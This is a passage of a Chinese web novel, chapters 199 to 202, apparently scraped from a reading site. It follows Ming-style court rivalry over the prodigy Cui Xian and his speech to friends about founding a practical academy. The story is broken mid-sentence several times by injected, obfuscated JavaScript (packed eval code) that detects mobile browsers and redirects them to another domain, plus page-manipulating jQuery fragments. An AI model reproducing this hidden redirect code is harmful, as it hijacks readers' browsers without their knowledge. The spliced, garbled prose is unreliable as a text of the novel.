小太监恭敬询问道:“以司礼监的名义? 司礼监秉笔太监摇摇头:“以我的名义。 小太监闻言很是吃惊。 司礼监秉笔太监笑了笑,并不解释,眼睛里尽是惊叹与感慨。 他看向乾清宫外巍峨肃穆的琼楼殿宇,心想,快了。 一颗注定要冉冉升起、闪耀整个大梁文官群体的‘* ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088489|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *新星’,即将踏进紫禁城。 殿内。 写完信的皇帝瞄了一眼陈秉,没来由说道:“陈爱卿乃柱石之臣,朕之萧何也!只做阁臣,未免委屈了些。 “这样,便让董彦卸去身上的担子,由陈爱卿来做次辅吧。 先前,因为‘罪己诏’事件,陈秉革职归乡。 次辅郑霞生任首辅。 礼部尚书董彦入阁,升任次辅。 如今,陈秉归来,董彦的位置,自该让出来。 毕竟董彦是陈秉的人。 换做旁的官员,怎么都会推辞一番。但陈秉闻言后,匍匐跪地,红着眼睛颤声道:“老臣,多谢陛下抬爱。 “返乡归家那段时日,老臣日夜惶恐不安。唯恐这辈子,再也无法见到陛下,再也无法侍奉陛下。 “如今,老臣心安了! 郑霞生在一旁冷眼听着,恶心的想吐。 但皇帝明显是吃这一套的。 他笑呵呵摆摆手:“行了,二位阁老一把年纪,别动不动就下跪,都起来吧。 等陈秉、郑霞生起身。 嘉和皇帝又笑道:“自李端去了陕西后,河南布政使一直空缺,总归不妥。 一句话,让两位阁老神情瞬间紧绷。 因为河南布政使一职,郑霞生一派、和陈秉一派,早就打 的不可开交。 有意思的是,二人都是为‘贾邵’而打的。 郑霞生知道小崔岘要在开封辩经,李端走了,自然想安排个自己人去河南,照拂徒孙。 而陈秉,看中了贾邵,便也想安插河南布政使,去照拂‘未来**人’贾邵。 可现在看来—— 陈秉得安排个‘狠人’,去开封教训那崔岘! 没等陈秉脑海中筛选出合适人选。 便听皇帝说道:“河南乃人口大省,教育问题向来严峻。因此,朕的意思是,安排个老学究过去吧。” “最好是博学迂腐、刚正不阿,有古贤儒家之风范,看不惯一些批经判典之辈。陈爱卿,可有合适人选推举啊?” 殿内霎时陷入安静。 本来还满身警惕,准备争夺河南布政使人选的郑霞生愣住了。 而后,郑首辅眼观鼻、鼻观心,不发一言。 他怕自己笑出声。 而陈秉,则是强忍住吐血的憋屈冲动,颤声道:“四川按察使岑弘昌,符合条件。” 皇帝仔细回忆岑弘昌其人,朗声大笑,话音中带着幸灾乐祸:“那就让他去吧。” 陈秉看着皇帝幸灾乐祸的笑容,只觉得被秀了一脸。 199、山雨欲来风满楼 199、山雨欲来风满楼 将四川按察使岑弘昌任命为河南布政使之后。 皇帝摆摆手示意二位阁臣离开。 “老臣告退。” 陈秉、郑霞生缓缓退出大殿。 夏日炎热。 但紫禁城常年聚风殿前不仅风大还有些阴冷。 陈秉被风吹的眯起眼睛因为方才跪久了眼前发黑险些没站稳。 一只苍老的手臂从旁边伸出扶住了陈秉。 是郑霞生。 两位政敌互相对视都看懂了彼此眼睛里的疲惫。 是以他们难得没有针锋相对就这样互相扶持着朝内阁走去。 回去的路上二人各自怔怔出神谁都没说话。 因为真的太累了。 每一次面圣过后都是这般累。 郑霞生和陈秉斗了这么多年为什么呢? 因为龙椅上那位处心积虑、想尽办法逼着他俩斗。 他俩与其说是两位阁老 被主人拴着脖子肆意逗弄的两条老狗。 嘉和皇帝不高兴了尊贵如首辅的陈秉顷刻间就会被罢职归乡。 而今日察觉到郑霞生和崔岘的关系。 为了再度掌控平衡嘉和皇帝毫不犹豫踢走董彦让陈秉担任次辅。 甚至选个老学究去河南‘教训惩戒’崔岘这件事他都得让陈秉作提议逼着郑霞生嫉恨陈秉。 都说‘**得文武艺卖与帝王家’。 可十年、二十年寒窗苦读学圣贤书到头来给自己套上锁链整日伏低做狗谁肯甘心? 陈秉不甘心。 郑霞生也不甘心。 而这种不甘心在数十年被嘉和皇帝反复磋磨后变成了—— 恨。 是的恨。 ‘忠君报国’这种话对于大梁文官集团来说其实才是最大的笑话。 大梁王朝自开国到本朝已经存在了二百余年。 这二百余年间皇帝和文官集团都在互相‘驯化’。 作为天下之主皇帝需要文 官们帮忙治理国家,又要防着他们分走权利。 而文官们,早已意识到,想要施展抱负、想要治理天下,皇帝才是那个最大的阻碍。 所以,文官们心目中理想的君主是这样的—— 谦逊、温和、有礼、自律、仁爱。 再简单来说就是:吉祥物一般的皇帝。 然而这些,嘉和皇帝一项也不占。 他精于算计、**斗争手段堪称出神入化,让整个朝堂百官战战兢兢、疲于应对。 尤其是近些年。 嘉和皇帝沉迷修仙,每日都要进补‘仙丹’。 对此,无论是内阁,还是百官,都默契选择了沉默。 郑霞生为何五年前,便选中崔岘做**人? 陈秉为何在见识过‘贾邵’的能力后,不惜一切,也想将此人收归麾下? 这个原因,二位阁臣彼此都心知肚明。 他们俩,受嘉和皇帝摆布,疲于党争,在皇权面前,毫无反抗的能力。 但…… 整日吃‘仙丹’的嘉和皇帝,老了。 人老了,就会糊涂、弱小,皇帝也不例外。 这是文官集团最好的机会! 崔岘,他不仅才学无双、运筹帷幄。 而且才14岁,年轻的让人惊叹。 他在文坛振臂一呼,能作领袖! 将来进了朝堂,趁着嘉和皇帝老弱,收拢整个文官集团。 文坛、官场一呼百应。 届时再入内阁,任首辅——那他就是大梁王朝二百余年间,权柄最大的首辅。 堪称‘宰相’。 亦或者‘副皇帝’。 东莱先生一直坚信,小徒弟崔岘,会比老师郑霞生走的更远,本质原因就在这里。 ‘首辅’和‘首辅’,是不一样的。 这本该是陈秉计划着,给**人‘贾邵’铺的‘宰相’路。 可惜,如今这完美**人,成了郑霞生的徒孙。 美梦破碎,陈秉‘脱粉回踩’,先前对崔岘有多喜爱,现在就有多愤恨。 因为他太清楚,崔岘未来不可估量的潜力,有多可怕。 既然得不到 ,那自然要趁早毁掉。 快到内阁的时候。 被搀扶着的陈秉缓过来了,他放开郑霞生的胳膊,平静道:“郑霞生,这件事,你办不到。” “因为老夫办不到的事情,你也休想。” “要怪,就怪你那小徒孙,选错了靠山。有老夫站在这里,崔岘这条青云路,注定走不到尽头。” 郑霞生闻言,眼中的疲惫顷刻消失不见。 他盯着陈秉,眉眼中浮现出毫不掩饰的骄傲:“那你便在这里站着,看着。且待来日,他会一步步走到你面前,而后超越你,走向更远的高处。” “我有预感,距离这一天,不远了。” 说完后,郑霞生独自返回内阁。 陈秉则是沉着脸归家。 踏进家门后,陈阁老招来谋士,冷声道:“计划有变,通知东南那边的疯子们,放开手脚去开封,找那崔岘算账。” “备一份大礼,送给四川按察使岑弘昌,但此人极为迂腐,多半不会收。想办法,贿赂他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088490|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人。” “还有,迅速去联络河南按察使周襄、开封知府、开封县令,尽力将他们收归麾下。” 另一边。 郑霞生也在做同样的事情。 归家后。 他第一时间进了书房,跟手下人说道:“修书一封,送给四川按察使岑弘昌,提醒他警惕家人**,莫要无端陷入漩涡深渊。” “再修书一封,送给河南按察使周襄,告诉他,本官有意提他做河南布政使。奈何,陈阁老向陛下举荐四川按察使岑弘昌,作新任河南布政使。” “还有,南阳县令叶怀峰,已在任六年,功绩甚佳。提作开封知府,正合适。” “去了开封后,让叶怀峰找机会,告知岑弘昌、周襄,小崔岘和陛下通书信的消息。” 说完后。 郑阁老揉了揉眉心,沉思片刻,又说道:“算算时间,萧震归京数月,也是时候重返东南战场了。” “小崔岘先前的活命之恩,他萧震,不能不报。东南的疯子们,向来不要命,让萧震择一批手底下不在册的暗子,送去开封护卫小崔岘。” “直接跟他说清楚,不要搪塞,更不要跟本官说没有暗子的存在。” “但愿海波平, 离了小崔岘,只凭他萧震,可办不到。” 二位阁老火力全开打架,隔天,整个朝堂都嗅到了‘山雨欲来’的味道。 首先,次辅董彦被撤,陈秉升任次辅。 接着,四川按察使岑弘昌,被任命为河南布政使。 再然后,萧震**重返东南。 最后还有个不太起眼的消息是,南阳县令叶怀峰,被任命为开封知府。 以上四条,皇帝全部应允了。 朝堂百官互相对视,尚且摸不清楚,两位阁老此次‘打架’的缘由。 但当日下朝后,一个令百官震撼不已的消息,迅速传开—— 那位疑似在孟津祥瑞中替昌涛出主意、呈送孟津祥瑞、获得陛下青睐,一直跟陛下保持书信往来。后又凭借一己之力护住萧震、在洛阳文会一战成名天下知的大才子贾邵,其实是首辅郑霞生的徒孙,崔岘! 那个消失了整整五年的小神童崔岘?! 此消息一经传开,郑霞生一派狂喜不已。 而陈秉一派,则是如丧考妣,并觉得匪夷所思。 以嘉和皇帝**平衡的手段,他是昏了头吗?竟然跟郑霞生的徒孙通书信? 这崔岘,究竟有何魅力! 且不管朝堂如何震撼。 另一边。 整个大梁文坛,也因为小神童崔岘的强势回归,陷入一场如山呼海啸般的震动! 200、我有一个梦想(上) 200、我有一个梦想(上) 和小神童崔岘一起,在整个大梁文坛引发轰动的,是一份叫做《汴梁邸报》的报纸。 自崔岘于开封登台,赴五年之约的次日起。 这份邸报,迅速开始风靡大梁四方! 因为,邸报上的每一条消息,都足以让人惊掉下巴! 而本次《汴梁邸报》的头版头条,是一句极为简短,却又极为震撼的大字标题—— 贾邵和崔岘是同一个人。 正所谓:新闻越短事儿越大。 就这么一个毫无半点修饰词,平铺直叙的标题,震得许多文坛人士脑瓜子嗡嗡的。 不是,说好的崔岘‘江郎才尽’呢? 你管这叫江郎才尽?! 这哪里是‘才尽’,这是‘才’都长满他全身了吧! 除了这个大标题。 邸报里,还详细记录了此次崔岘开封首辩的全过程。 “汴梁万千百姓参与此次辩经盛事,崔岘一袭红衣登台,开场词惊艳全场! “崔岘直言《毛诗序》有漏,惹来大儒陈衝不满。陈衝登台辩论,两个回合,败! “二十经皆有漏?崔岘:恭候天下群英登台来辩! 每一个拿到《汴梁邸报》的人,都在不停直呼‘好家伙’。 虽然预料到,小神童开封登台辩经会很精彩。 但这未免也太精彩了! 有年轻的读书人,拿着邸报的手微微颤抖,激动到脸色发红:“崔师兄果真满身才情,我年轻一辈之楷模也! 曾经断定崔岘‘江郎才尽’的士子们,在看过邸报后,气的神情扭曲:“怎么可能,怎么可能! 学堂里。 一群蒙童瞪大眼睛,激动道:“崔夫子还有个身份叫做贾邵?贾邵也写了很多厉害的诗?太好啦,我们又可以学习很多崔夫子的诗咯! 随着时间推移,《汴梁邸报》一纸难求。 大梁各地的读书人们,见面打招呼都是急切问对方:“兄台,可有《汴梁邸报》? 他们着急,他们望眼欲穿,他们眼巴巴盼着想要了解更多崔岘开封辩经的消息啊! 消失五年,被嘲讽五年的崔岘,一经重新露面, 便强势证明自己,重新风靡整个大梁文坛! 因为开封首辩实在过于精彩,导致更多的读书人,撒欢般朝着开封赶去。 而无法赶去开封的读书人们,则是联合起来写信送去开封:我们也要看《汴梁邸报》!求把《汴梁邸报》开遍大梁各地! 当然也不全然是所有人,都被崔岘的才学折服。 大梁文坛的酸儒老学究们,集体跳脚,气的面目狰狞、脸色扭曲! “经贼!经贼啊! “且看老夫这就启程去开封,教训这不知天高地厚的竖子! “二十经皆有漏?崔岘,祸国妖人之异端也! 崔岘那番言论实在过于惊人。 全大梁各地有名望的老儒,纷纷咒骂着出山,赶往开封。 那段时间,只要你在路上碰见身穿儒衫的老头。不用想,肯定是去‘教训’崔岘的。 一夜之间,崔岘成了全大梁文坛老头儿们的公敌。 真正做到了,粉丝遍天下,黑粉遍天下! 因为老头儿们‘全军出击’汇聚开封,闹出的动静实在太恐怖,整个文坛都一片哗然咂舌—— 崔岘一人VS全大梁酸儒老头儿?! 亲娘嘞! 这真能招架住吗? 崔岘,危!!! 只不过,这个年代,车马太慢。 《汴梁邸报》送往大梁全国各处引发轰动,紫禁城嘉和皇帝收到崔岘的信件,都是后话。 崔岘首次登台辩经结束,给嘉和皇帝写完信,并寄出去的当天夜里。 有好几拨人,鬼鬼祟祟,但又十分默契的来到状元巷,叩开了崔家的大门。 他们分别是,裴坚、庄瑾、高奇、李鹤聿四位大哥。 苏祈、周斐然、孟绅、何旭四位大才子。 严思远、齐怀明、阮修德三位‘反岘联盟’的黑粉头子。 一帮年轻人们互相对视,都看懂了彼此眼睛里的担忧,和凝重。 嗯……除了严思远三人,多少还有点不自在。 当时。 崔家一大家子刚忙活完印刷邸报的活儿计,正累兮兮在院子里吃饭呢。 瞧见他们一群人进来。 老崔氏只觉得心头泛暖,赶紧热情道:“哎哟,这不是赶巧了?坚哥儿,你招呼着大家都坐。” “添些碗筷,坐下一起吃点。” 裴坚嘿笑一声,先闹着跟老崔氏告状:“祖母,岘弟真是越发不懂事儿了!” “换了个新身份,也不提前说一声!闹得我还以为那贾邵是敌人,写了首破童谣!真是……自己人打自己人了这是。” 老崔氏自然听说了那首‘用词辛辣’的《邵公叹》,因此嗔怪般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088491|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戳了戳裴坚的额头。 庄瑾三人在旁边笑的幸灾乐祸。 裴坚顺势坐在老崔氏旁边,又招呼众人先后落座。 虽说院子还算宽阔,可这么多人坐在一处,也确实有些稍显拥挤。 还有些微妙的别扭。 比如苏祈、孟绅几人,一直在拿眼睛斜睨崔岘。 再比如,严思远三人,面无表情,甚至不愿意去看崔岘一眼。 别说,这个时候饶是高情商如崔岘,都有点尴尬。 毕竟是他不够坦诚在先,说好的交朋友,结果告诉人家的,却是个假名字。 好在,还有裴坚在啊! “说完了那首破童谣,我还得继续说道,这个事儿可还没完呢!” 裴坚坐在老崔氏旁边,谴责般看着崔岘:“岘弟,不是大哥说你哈。你看看你白日,在辩经台上说的是什么话!” “又是甘为天下先,又是删《毛诗序》,又是二十经皆有漏!怎么大逆不道你怎么说!” “好家伙,你倒是在台上说爽快了!” “你都不想想,你大哥我,还有高奇他们仨,还有这严思远小兄弟,还有这苏祈兄、孟绅兄一帮人,有多担心你!” 他这话说完。 还没等崔岘顺势接话呢。 苏祈在一旁冷哼一声:“我可不会为用假名字交朋友的不坦诚之人担心。” 严思远则是面无表情道:“贾邵贾邵,名字里都带着贾,真是一假到底!” 裴坚差点没绷住。 他轻咳一声,说道:“就是就是,我们今天过来,半点没有担心你的意思!” “我们就是想知道,你说这些大逆不道的屁话,是要做什么?” 崔岘顺势给自己斟了一杯酒,准备开口。 结果苏祈非常高冷的一摆手:“先别着急套近乎,说正事儿。你先说完,本公子自会决定是否原谅你。” 其余人纷纷严肃点头。 老崔氏等一大家子人,笑眯眯在旁边看热闹。 被‘批判’的崔岘靠在座椅上,看着眼前一帮家人、兄弟、朋友,心生无限暖意。 因为在这条注定很难走的路上,他并非孤独一人。 所以,他得告诉身边人,自己准备要做什么。 “删除《毛诗序》,宣称二十经有漏,其实都只是迷惑人的手段。我之所以去做这些,是因为……” 崔岘笑了笑,在众人懵逼的注视下,继续道:“因为啊,我有一个梦想。” 201、我有一个梦想(下) 201、我有一个梦想(下) 状元巷,崔家。 夏夜庭院,月洗青砖,漫天星光斑斑点点。 虫鸣低唱,凉风微拂,空气中弥漫着草木的清甜。 灯笼暖光与清辉共染石桌,映着围坐的老崔氏、裴坚、严思远、苏祈等一大群人,面孔微微泛红。 崔岘的目光,环视眼前众人,说道:“今夜在座的,都是我最亲近的人。所以,我不拽文弄字,也不藏着掖着。 “我……只想坦诚布公的,跟你们聊聊我的想法。 他这番话,别人尚且没作何反应。 倒是严思远三位小黑粉,刻意绷紧的表情,霎时缓和了不少。 “大哥,思远、苏祈兄,还有诸位。你们读圣贤书,难道有时候,不会越读越憋屈吗? 崔岘认真道:“你们瞧,《关雎》里‘窈窕淑女’,本是多干净的心思! “《左传》季札听这曲子,明明赞它‘乐而不淫’——可《毛诗序》偏要把它扭曲成‘后妃之德’。这不是把活蹦乱跳的心思,硬生生掐断了根吗? “咱读经,得让那字句自己说话,让咱自个儿的心去贴近它、印证它,对不对? 对吗? 没人接话。 甚至连向来捧场如裴坚,都抖了抖脸皮,沉默看向崔岘。 小院子里还算松懈的氛围,一下子紧绷起来。 别看崔岘方才那番话,语气轻松写意,但本质上——这是在否定《毛诗序》权威,质疑汉儒经学。 他在直接挑战官方钦定经典解读,动摇经学阐释的垄断权。 会直接惹怒古文经学派、所有尊奉汉儒注疏为正统的学者。 白日辩经台下,以陈衝为首的酸儒们为何那般愤怒,这就是原因。 见裴坚没捧场。 高奇挠了挠头,试探性劝说道:“岘弟,那经书,自古以来都是如此。咱们读一读就行了,干嘛要在这上面较劲儿呢? 庄瑾也附和:“是啊,岘弟。大哥们也不是说不支持你,这不是……怕你将来有危险。 他俩的想法其实很正常。 不仅高奇庄瑾,想来天下万千读书人,都是这么想的。 可,自 古以来都是如此,就代表一定是合理的吗? 崔岘知道,革新是急不来的。 若是他现在,连身边的家人、兄弟、朋友都无法说服。 那将来,又如何去更迭思想,推广新学,甚至……进行一场史无前例的,学术、教育、取士、社会观念上的颠覆性革新呢? 因此。 崔岘摇摇头,看向高奇:“说到自古以来存在的经书,比如《尚书·泰誓》三篇,老祖宗传下来就丢了两篇。后人补缀的倒成了金科玉律,捧得比天还高!” “这就好比咱家传下一件旧衣裳,破了两块,咱拿新布头补上,却非说这是祖宗当年穿的一模一样,针脚都不差——这不是糊弄鬼么?” “更憋屈的是,明知这‘衣裳’有些地方是后补的、不合身的。但科举考的,还是怎么把这‘补丁’绣出花儿来的功夫!” “真遇着河堤塌了、粮仓空了、百姓苦了,这绣花学问顶什么用?” “农人匠人实打实养活天下,反被瞧低一头,这理儿,它不通得让人心窝子疼!” 好家伙。 真是越说越生猛了! 若是刚才,崔岘还只是质疑汉儒经学。 那现在这番话,就是质疑所有经典文本神圣性,并猛烈抨击现有科举制度! 这下可不仅是得罪尊经崇古的学派。 包括把持科举出题与录取的权贵、靠研习虚文取得功名的庞大士绅阶层,全都给得罪了个干净! 刚刚接话的高奇、庄瑾傻了。 连一向自诩猖狂的苏祈,都愣愣看着崔岘。 这跟不要命有什么区别? 严思远狠狠蹙起眉头:“你这番话,但凡传出去,就会被扣上诋毁圣贤、谤议朝政、动摇国本的滔天罪名。” 崔岘瞥了他一眼,笑道:“那你传出去吧,反正,你们反岘联盟,个个都盼着我不好过。” “……” 够了!真是没空陪你闹了! 严思远恼羞道:“我要是盼着你不好过,我巴巴来这里做什么?你白日当着那么多人的面,胡说八道,以后谁能护得住你?” 虽然此刻气氛紧绷。 但严思远这话,还是让饭桌上一群人神情古怪。 这难 道就是传说中的黑到深处全是爱?! 崔岘笑道:“这不是有你有我几位大哥有苏祈兄、孟绅兄这么多人在吗?” 苏祈叹了一口气:“别你以后若是当众把这番话说出来只凭我们几个真护不住你。” 这时候。 一直沉默着没捧场的裴坚突然说道:“岘弟你向来聪慧做这种危险的事情总不至于不给自己留个退路。” 巧的是方才同样未开口的崔钰也温声道:“阿弟莫要卖关子你继续说。” 他俩几乎是同时开口彼此怔愣对视而后都笑了。 大概这就是‘两位大哥’的默契? 崔岘只觉得心中暖意盎然。 他跟着笑道:“退路自然是要安排的我打算在开封办一家小书院。” 这话说的很轻松就好像在说‘我打算在家里搭个小凉棚’。 但问题是办书院?!! 认真的吗? 除了崔家人裴坚等人都吃惊瞪大了眼。 因为先前崔岘给崔家人打鸡血 所以老崔氏等人并不意外。 裴坚则是提高声音道:“办书院算什么退路?而且办了书院如何授课?难道你要跟他们讲经书有漏科举绣补丁?” 迎着大家紧张的目光。 崔岘认真道:“当然不是。” 没等裴坚松一口气。 就听崔岘又说道:“该读的经该写的八股咱一样不落——这是敲门砖。” “可在这小书院里咱得干点‘接地气’的实在活儿!” “请老把式来讲讲天时虫害那田垄里的经验藏着养活万民的‘天理’。” “邀巧匠来琢磨新织机孔圣人都说‘工欲善其事必先利其器’——那‘器’用好了让织娘少熬几宿、多织几尺好布不就是‘仁道’载着往前走?” “咱带学生去摸摸泥土看看作坊学问这棵树啊根须扎进土里沾着露水才长得结实心也才摆得正!” 若是方才大家都觉得崔岘说的话离经叛道。 可到了这里一群人明显是被镇住了。 原来……书院可以这样授课? 崔岘还在继续说:“祖母,爹娘,几位大哥,你们还记不记得,当时在南阳。我们拟定了第一个五年计划,你们每个人都说了自己的梦想。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088492|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “唯独我没有。 “这些年来,我先在河西村困顿于贫家,接着读圣贤书,后来走出南阳。去了孟津,见过无助绝望的流民。去了洛阳,见过抗倭将士们的满腹委屈不甘。 “再后来到开封,我跟着老师,在一家小学堂里,听到一群蒙童,喊我……崔夫子。 “而后我就一直在想,那我的梦想,又是什么呢? “这些天,我有思路了,所以我想,说给你们听。 皎洁月光下。 说话的崔岘,被一层月芒笼罩。 聊起‘梦想’,他远不如在辩经台上那般肆意张扬。 但此刻的他,是鲜活的、真实的,带着人情味儿的。 他的眼睛好亮、好亮,眼角眉梢都带着笑意:“你们想一想,等这家小书院开起来,几年,亦或者几十年后。 “打咱这小书院走出去的后生,脑子里装着圣贤的仁心,手上带着泥土墨迹,心里记着市井的冷暖。 “他们站在河堤上,不用喊空话,便能踏实修好一道渠,水乖乖流进干裂的田垄。 “他们走进作坊,和匠人一起琢磨,织机转得更快,布匹暖了更多苦难百姓。 “他们站在衙门口,算盘珠子拨得清,粮仓堆得满,断案断得明明白白,让那蒙冤的泪变成感激的笑。 “而这,便是我的退路。因为他们能护住万千百姓,自然也能护住一个崔岘,对不对? 此时,此刻。 崔家的院子彻底陷入安静。 裴坚、崔钰、严思远、苏祈等人,乃至老崔氏、崔仲渊、崔伯山等家里人,都怔怔看着崔岘,失去了言语。 其实他们都懂,崔岘身上,一直有其独特的、近乎闪闪发光的个人魅力在。 而正是这份魅力,让崔岘身边,围绕着家人、兄弟、朋友,甚至各种被他个人魅力折服的‘粉丝’。 但! 必须要强调的是,今夜的崔岘,个人魅力简直爆棚! 他没有引经据典,没有拽文弄字。 就这么唠家常似的,说出了一番平静温馨,却又足以震撼所有人的话。 方才还想拿乔的苏祈,早就忘记了摆架子,喃喃道:“真能办到吗?” “很难,所以才是梦想啊。” 崔岘靠在椅背上,一张年轻俊俏的脸上,尽是憧憬:“我梦想有一天,田埂上歇脚的老农,能挺直腰杆跟读书人唠唠节气收成,没人觉得他粗鄙。” “我梦想有一天,作坊里的大匠,能大大方方走进学堂,讲讲他的巧思妙手,人人都敬一声‘师傅’。” “我梦想有一天,市井街巷,茶楼酒肆,贩夫走卒也能聊几句圣贤道理。” “因为那道理,不再飘在天上,它就落在热腾腾的饭碗里,暖洋洋的衣裳上,清粼粼的渠水中!” “这不正是《礼记》里念着的——‘老有所终,壮有所用,幼有所长’的好光景?” “我梦想的那一天,它不再是经书典籍上的字,它是万千百姓眼前,真真切切的日子!” 石桌旁。 老崔氏听的眼眶红润,和陈氏、林氏两个儿媳不停在揉眼睛。 崔伯山、崔仲渊兄弟俩怔怔无言。 裴坚、庄瑾、李鹤聿、高奇四人动容。 苏祈、何旭几人震撼失声。 而严思远三位小黑粉,则是在心中激动咆哮—— 黑转粉,必须黑转粉啊! 202、定个小目标:更改科举规则 202、定个小目标:更改科举规则 院子里。 崔岘的话说完后许久,都没人吭声。 他们眼眶微红,神情有些怔忪,就这样定定看着崔岘—— 似是通过崔岘这番话,看到了未来那个海晏河清、政通人和的太平盛世。 真好,真好啊! 老崔氏默默擦拭眼角的泪,回想起前些年深陷贫困、囿于苦难的一家子,莫名觉得委屈。 要是岘哥儿描绘的这个‘梦想世界’,早早就能实现。 那这似噩梦般的二十年,她是不是,能活的轻松些? 当然,除了‘感同身受’的崔家人。 此刻最为震撼的,其实是严思远、齐怀明、阮修德三位曾经的‘小黑粉’。 因为反岘联盟的初衷,是反‘**作秀神童’。 哪怕先前早已认识贾邵,被贾邵的才情、学识折服。 并知晓贾邵就是崔岘。 可今夜,当他们‘重新’、‘正式’认识崔岘,仍旧震撼于此人身上璀璨耀眼的个人魅力。 原来,流言蜚语中的你,不及你本人风姿之万一。 原来,这才是真正的你。 若是崔岘都能被污蔑为‘**作秀神童’的话,那纵观天下,又有几人能捧着一颗真心做‘实干家’呢? 一片安静中。 严思远突然站了起来,他拿起桌上的一坛酒,默默给每个人都倒了一碗。 此情此景,好像真的很适合碰一杯啊。 倒完酒后。 严思远仍旧没有平复心情,他看向崔岘,声音里还带着颤音:“我认识你的时候,你叫贾邵。” “当时我就知道,你的未来,一定前程大好。” “可你偏偏……自己要去走最不平坦的那条路。” 崔岘笑了笑,他看向严思远,认真道:“路肯定不平坦。” “可咱不图虚名,就图个心安——图个对得起读进心里的道理,对得起头顶这轮明白的月亮,对得起脚下养活咱的土地!” 说到这里。 崔岘举起那碗酒,笑道:“思远,怀明,修德。以前的事情,我们不说了。” “ 只说现在,今夜我们重新认识,我叫崔岘。 虽然明知道多半还是被套路了。 可崔岘突然来这一下子,仍旧让严思远激动的脸色发红。 他傻了片刻,磕磕巴巴道:“这……也是我们不好,听别人胡说八道,一直对你抱有偏见。我,我还写了《岘儿谣》……我好像需要给你道歉……但是又觉得好矫情…… “总之,你很厉害很厉害,是我最钦佩的那一类人……老天,我究竟在说什么啊! 说到后面,他越说越混乱。 索性一梗脖子,没来得及跟崔岘碰杯,便一仰头,咕嘟嘟把酒干了。 阮修德、齐怀明也噌的一下站起来,慌忙去端身前的酒碗。 这一幕,看的众人直乐。 方才还佯装矜持的苏祈站了起来,主动举起手中的酒碗,扬眉笑道:“既然你说重新认识,那我且问你,你知道我是谁吗? 崔岘闻言,认真仔细打量苏祈,包括苏祈身后的何旭、周斐然、孟绅。 他没有第一时间接话,苏祈有些不开心。 可很快,便见崔岘目露惊讶,提高声音道:“难道你便是闻名大梁文坛,满身学识的绝世大才子,狂才苏祈师兄? “还有其余三位,可是赫赫有名的才子,何旭师兄?周斐然师兄?孟绅师兄? “在下崔岘,不知四位可否听过在下之薄名? 真是好拙劣、好没意思的一番表演。 可是……又好像有那么点意思。 苏祈哈哈大笑,傲然摇头:“没听过。 何旭、周斐然、孟绅同样忍俊不禁。 裴坚也跟着站了起来,笑道:“没听过,不要紧。今天大家一起喝了酒,就是听过了,认识了,交到朋友了! 他们是真年轻啊。 一个个笑的绚烂肆意,神采飞扬。 到最后,老崔氏等人也都站了起来,打算一起凑个热闹。 在喝酒碰杯之前。 孟绅看向崔岘,笑道:“崔师兄,不再说几句?这碗酒,分量可不轻啊。 众人齐齐看向崔岘。 其实大家都懂,这碗酒,可不仅仅是酒。 这是对方才崔岘‘我有一个梦 想’的热烈回应。 喝了这碗酒,他们便是一个群体,是一群为崇高理想拼搏的逐梦人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088493|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说起来也是绝。 没有思想纲领,没有学派名称,没有**规划,甚至没有明确目标。 就靠崔岘一番演讲。 愣是‘骗’来了这么一群优秀的年轻人才。 要不说,年轻真好。 敢想,敢干。 敢为天下先! 崔岘闻言看向众人,看向眼前这群自己聚拢起来的班底,笑道:“这杯酒,敬咱自家人!” 